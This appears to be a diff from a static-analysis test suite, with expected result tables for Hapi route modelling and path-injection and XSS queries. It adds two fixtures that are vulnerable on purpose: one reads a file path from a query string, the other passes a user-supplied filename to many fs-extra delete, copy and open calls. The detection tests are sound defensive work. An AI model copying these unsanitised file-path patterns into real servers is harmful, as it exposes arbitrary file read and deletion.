| src/hapihapi.js:17:48:17:54 | request | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:21:3:21:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:22:3:22:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:23:3:23:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:24:3:24:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:25:3:25:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:26:3:26:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:34:22:34:24 | req | src/hapihapi.js:34:12:34:30 | function (req, h){} |
test_HeaderAccess
| src/hapi.js:25:3:25:21 | request.headers.baz | baz |
| src/hapiglue.js:27:3:27:21 | request.headers.baz | baz |
| src/hapihapi.js:25:3:25:21 | request.headers.baz | baz |
test_ResponseExpr
| src/hapi.js:14:9:14:24 | request.response | src/hapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapiglue.js:14:9:14:24 | request.response | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:14:9:14:24 | request.response | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
test_RouteHandler
| src/hapi.js:6:1:6:21 | functio ... er1(){} | src/hapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -55,9 +75,15 @@ test_RouteHandler
| src/hapiglue.js:17:30:18:1 | functio ... ndler\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapihapi.js:6:1:6:21 | functio ... er1(){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
test_HeaderDefinition
| src/hapi.js:14:9:14:46 | request ... 1', '') | src/hapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
test_ServerDefinition
| src/hapi.js:1:15:1:44 | new (re ... erver() |
| src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -65,6 +91,8 @@ test_ServerDefinition
| src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:43:19:43:24 | server |
| src/hapiglue.js:44:45:44:51 | server_ |
| src/hapihapi.js:1:15:1:50 | new (re ... erver() |
| src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
test_RequestInputAccess
| src/hapi.js:21:3:21:20 | request.rawPayload | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapi.js:22:3:22:21 | request.payload.foo | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
@@ -80,6 +108,12 @@ test_RequestInputAccess
| src/hapiglue.js:26:3:26:20 | request.url.origin | url | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:27:3:27:21 | request.headers.baz | header | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:28:3:28:21 | request.state.token | cookie | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapihapi.js:21:3:21:20 | request.rawPayload | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:22:3:22:21 | request.payload.foo | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:23:3:23:19 | request.query.bar | parameter | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:24:3:24:18 | request.url.path | url | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:25:3:25:21 | request.headers.baz | header | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:26:3:26:21 | request.state.token | cookie | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
test_RouteSetup_getServer
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -91,9 +125,15 @@ test_RouteSetup_getServer
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:31:1:31:20 | server2.route(route) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
test_HeaderDefinition_defines
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 | |
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 | |
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 | |
test_RouteSetup_getARouteHandler
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:6:1:6:21 | functio ... er1(){} |
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:13:14:15:5 | functio ... n\\n } |
@@ -109,6 +149,13 @@ test_RouteSetup_getARouteHandler
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:35:1:37:1 | return of function getHandler |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:38:25:38:36 | getHandler() |
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:6:1:6:21 | functio ... er1(){} |
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:33:1:35:1 | return of function getHandler |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:34:12:34:30 | function (req, h){} |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:36:25:36:36 | getHandler() |
test_RouteHandler_getARequestExpr
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
@@ -138,9 +185,24 @@ test_RouteHandler_getARequestExpr
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:27:3:27:9 | request |
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:28:3:28:9 | request |
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:36:22:36:24 | req |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:14:9:14:15 | request |
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:17:48:17:54 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:21:3:21:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:22:3:22:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:23:3:23:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:24:3:24:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:25:3:25:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:26:3:26:9 | request |
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:34:22:34:24 | req |
test_HeaderDefinition_getAHeaderName
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 |
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 |
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 |
test_RouteHandler_getAResponseHeader
| src/hapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapi.js:14:9:14:46 | request ... 1', '') |
| src/hapiglue.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapiglue.js:14:9:14:46 | request ... 1', '') |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapihapi.js:14:9:14:46 | request ... 1', '') |

View File

@@ -51,6 +51,30 @@
| express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value |
| handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value |
| handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value |
| hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value |
| more-fs-extra.js:10:15:10:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:10:15:10:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:11:11:11:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:11:11:11:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:12:14:12:21 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:12:14:12:21 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:13:18:13:25 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:13:18:13:25 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:14:11:14:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:14:11:14:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:15:21:15:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:15:21:15:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:16:21:16:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:16:21:16:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:17:31:17:38 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:17:31:17:38 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:18:15:18:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:18:15:18:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:20:21:20:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:20:21:20:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:21:17:21:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:21:17:21:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:22:16:22:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:22:16:22:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:23:20:23:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:23:20:23:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:24:19:24:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:24:19:24:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:25:15:25:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:25:15:25:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:26:19:26:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:26:19:26:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:27:13:27:20 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:27:13:27:20 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:28:17:28:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:28:17:28:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:29:23:29:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:29:23:29:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:30:16:30:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:30:16:30:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:31:20:31:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:31:20:31:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| more-fs-extra.js:32:23:32:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:32:23:32:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
| normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
| normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
| normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
@@ -344,6 +368,34 @@ edges
| handlebars.js:13:73:13:80 | filePath | handlebars.js:15:25:15:32 | filePath | provenance | |
| handlebars.js:29:46:29:60 | req.params.path | handlebars.js:10:51:10:58 | filePath | provenance | |
| handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | |
| hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | |
| hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | |
| more-fs-extra.js:8:11:8:22 | { filename } | more-fs-extra.js:8:13:8:20 | filename | provenance | Config |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:10:15:10:22 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:11:11:11:18 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:12:14:12:21 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:13:18:13:25 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:14:11:14:18 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:15:21:15:28 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:16:21:16:28 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:17:31:17:38 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:18:15:18:22 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:20:21:20:28 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:21:17:21:24 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:22:16:22:23 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:23:20:23:27 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:24:19:24:26 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:25:15:25:22 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:26:19:26:26 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:27:13:27:20 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:28:17:28:24 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:29:23:29:30 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:30:16:30:23 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:31:20:31:27 | filename | provenance | |
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:32:23:32:30 | filename | provenance | |
| more-fs-extra.js:8:13:8:20 | filename | more-fs-extra.js:8:11:8:33 | filename | provenance | |
| more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:8:11:8:22 | { filename } | provenance | |
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | |
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | |
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | |
@@ -821,6 +873,36 @@ nodes
| handlebars.js:15:25:15:32 | filePath | semmle.label | filePath |
| handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path |
| handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path |
| hapi.js:14:19:14:51 | filepath | semmle.label | filepath |
| hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath |
| hapi.js:15:44:15:51 | filepath | semmle.label | filepath |
| more-fs-extra.js:8:11:8:22 | { filename } | semmle.label | { filename } |
| more-fs-extra.js:8:11:8:33 | filename | semmle.label | filename |
| more-fs-extra.js:8:13:8:20 | filename | semmle.label | filename |
| more-fs-extra.js:8:26:8:33 | req.body | semmle.label | req.body |
| more-fs-extra.js:10:15:10:22 | filename | semmle.label | filename |
| more-fs-extra.js:11:11:11:18 | filename | semmle.label | filename |
| more-fs-extra.js:12:14:12:21 | filename | semmle.label | filename |
| more-fs-extra.js:13:18:13:25 | filename | semmle.label | filename |
| more-fs-extra.js:14:11:14:18 | filename | semmle.label | filename |
| more-fs-extra.js:15:21:15:28 | filename | semmle.label | filename |
| more-fs-extra.js:16:21:16:28 | filename | semmle.label | filename |
| more-fs-extra.js:17:31:17:38 | filename | semmle.label | filename |
| more-fs-extra.js:18:15:18:22 | filename | semmle.label | filename |
| more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename |
| more-fs-extra.js:20:21:20:28 | filename | semmle.label | filename |
| more-fs-extra.js:21:17:21:24 | filename | semmle.label | filename |
| more-fs-extra.js:22:16:22:23 | filename | semmle.label | filename |
| more-fs-extra.js:23:20:23:27 | filename | semmle.label | filename |
| more-fs-extra.js:24:19:24:26 | filename | semmle.label | filename |
| more-fs-extra.js:25:15:25:22 | filename | semmle.label | filename |
| more-fs-extra.js:26:19:26:26 | filename | semmle.label | filename |
| more-fs-extra.js:27:13:27:20 | filename | semmle.label | filename |
| more-fs-extra.js:28:17:28:24 | filename | semmle.label | filename |
| more-fs-extra.js:29:23:29:30 | filename | semmle.label | filename |
| more-fs-extra.js:30:16:30:23 | filename | semmle.label | filename |
| more-fs-extra.js:31:20:31:27 | filename | semmle.label | filename |
| more-fs-extra.js:32:23:32:30 | filename | semmle.label | filename |
| normalizedPaths.js:11:7:11:27 | path | semmle.label | path |
| normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path |
| normalizedPaths.js:13:19:13:22 | path | semmle.label | path |

View File

@@ -0,0 +1,22 @@
const Hapi = require('@hapi/hapi');
const fs = require('fs').promises;
(async () => {
const server = Hapi.server({
port: 3005,
host: 'localhost'
});
server.route({
method: 'GET',
path: '/hello',
handler: async (request, h) => {
const filepath = request.query.filepath; // $ Source
const data = await fs.readFile(filepath, 'utf8'); // $ Alert
const firstLine = data.split('\n')[0];
return firstLine;
}
});
await server.start();
})();

View File

@@ -0,0 +1,33 @@
const express = require('express');
const fs = require('fs-extra');
const app = express();
app.use(express.json());
app.post('/rmsync', (req, res) => {
const { filename } = req.body; // $ Source
fs.rmSync(filename); // $ Alert
fs.rm(filename); // $ Alert
fs.rmdir(filename); // $ Alert
fs.rmdirSync(filename); // $ Alert
fs.cp(filename, "destination"); // $ Alert
fs.cp("source", filename); // $ Alert
fs.copyFileSync(filename, "destination"); // $ Alert
fs.copyFileSync("source", filename); // $ Alert
fs.cpSync(filename, "destination"); // $ Alert
fs.cpSync("source", filename); // $ Alert
fs.emptydirSync(filename); // $ Alert
fs.emptydir(filename); // $ Alert
fs.opendir(filename); // $ Alert
fs.opendirSync(filename); // $ Alert
fs.openAsBlob(filename); // $ Alert
fs.statfs(filename); // $ Alert
fs.statfsSync(filename); // $ Alert
fs.open(filename, 'r'); // $ Alert
fs.openSync(filename, 'r'); // $ Alert
fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ Alert
fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert
fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert
fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ Alert
});

View File

@@ -154,6 +154,34 @@ nodes
| event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | semmle.label | '<h2><a ... ></h2>' |
| event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href |
| express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") |
| hana.js:11:37:11:40 | rows | semmle.label | rows |
| hana.js:11:37:11:51 | rows[0].comment | semmle.label | rows[0].comment |
| hana.js:16:37:16:40 | rows | semmle.label | rows |
| hana.js:16:37:16:51 | rows[0].comment | semmle.label | rows[0].comment |
| hana.js:19:37:19:40 | rows | semmle.label | rows |
| hana.js:19:37:19:51 | rows[0].comment | semmle.label | rows[0].comment |
| hana.js:22:37:22:38 | rs | semmle.label | rs |
| hana.js:22:37:22:49 | rs[0].comment | semmle.label | rs[0].comment |
| hana.js:38:31:38:32 | rs | semmle.label | rs |
| hana.js:38:31:38:43 | rs[0].comment | semmle.label | rs[0].comment |
| hana.js:43:33:43:41 | dummyRows | semmle.label | dummyRows |
| hana.js:43:33:43:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
| hana.js:44:33:44:42 | tablesRows | semmle.label | tablesRows |
| hana.js:44:33:44:53 | tablesR ... comment | semmle.label | tablesR ... comment |
| hana.js:50:33:50:41 | dummyRows | semmle.label | dummyRows |
| hana.js:50:33:50:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
| hana.js:51:33:51:42 | tablesRows | semmle.label | tablesRows |
| hana.js:51:33:51:53 | tablesR ... comment | semmle.label | tablesR ... comment |
| hana.js:70:33:70:36 | rows | semmle.label | rows |
| hana.js:70:33:70:47 | rows[0].comment | semmle.label | rows[0].comment |
| hana.js:73:33:73:36 | rows | semmle.label | rows |
| hana.js:73:33:73:47 | rows[0].comment | semmle.label | rows[0].comment |
| hana.js:84:35:84:43 | dummyRows | semmle.label | dummyRows |
| hana.js:84:35:84:54 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
| hana.js:85:35:85:43 | tableRows | semmle.label | tableRows |
| hana.js:85:35:85:54 | tableRows[0].comment | semmle.label | tableRows[0].comment |
| hana.js:90:33:90:34 | rs | semmle.label | rs |
| hana.js:90:33:90:45 | rs[0].comment | semmle.label | rs[0].comment |
| jquery.js:2:7:2:40 | tainted | semmle.label | tainted |
| jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search |
| jquery.js:4:5:4:11 | tainted | semmle.label | tainted |
@@ -792,6 +820,20 @@ edges
| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance | |
| event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | provenance | |
| event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | provenance | Config |
| hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | provenance | |
| hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | provenance | |
| hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | provenance | |
| hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | provenance | |
| hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | provenance | |
| hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | provenance | |
| hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | provenance | |
| hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | provenance | |
| hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | provenance | |
| hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | provenance | |
| hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | provenance | |
| hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | provenance | |
| hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | provenance | |
| hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | provenance | |
| jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance | |
| jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance | |
| jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance | |
@@ -1275,6 +1317,20 @@ subpaths
| various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
